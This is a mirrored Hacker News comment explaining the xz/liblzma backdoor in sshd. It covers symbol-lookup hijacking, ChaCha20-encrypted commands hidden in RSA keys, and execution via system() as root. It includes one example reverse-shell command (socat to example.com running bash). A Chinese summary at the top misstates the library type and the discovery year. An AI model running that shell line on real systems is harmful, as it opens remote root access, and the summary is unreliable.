(评论)
(comments)

原始链接: https://news.ycombinator.com/item?id=39877267

2021 年发现的开源 SSH 库中的后门使用“system()”函数运行任意 shell 命令。 当“SSHd”需要动态库进行加密操作时,它会执行字符串匹配以在可用库中找到这些函数。 攻击者的代码操纵此过程,用恶意函数替换合法函数。 一旦插入,恶意功能就可以解密身份验证期间提供的 RSA 密钥,从而允许使用“SSHd”用户(通常是 root)的权限未经授权地执行任意命令。 这种威胁取代了最初对公钥身份验证绕过的担忧,显着增加了安全风险。

相关文章

原文






























































































































































































































































































































Siblings saying "we don't know" haven't really groked the post I don't think.

If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding.

`system()` is a standard C function that takes a string as input and runs it through `sh`, like so:

    sh -c "whatever input"
It's used as a super rudimentary way to run arbitrary shell commands from a C program, using the `execl()` call under the hood, just like you'd run them on a bash/sh/fish/zsh/whatever command line.
    system("echo '!dlroW ,olleH' | rev");
Those commands run mostly in the same privilege context as the process that invoked `system()`. If the call to `system()` came from a program running as root, the executed command is also run as root.

The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now.

Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it.

It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located.

The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function.

It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication.

The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted.

Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally.

However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root.

Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself.

This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root.

From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example:

    socat TCP:example.com:1234 SYSTEM:"bash -l"
The possibilities are really endless. They'd effectively have a skeleton key that only they could use (or sell) that, with enough time for people to upgrade their version of `sshd`, would allow them access to just about any SSH server they could connect to, oftentimes with root permissions.

Hope that explains it a bit.



















联系我们 contact @ memedata.com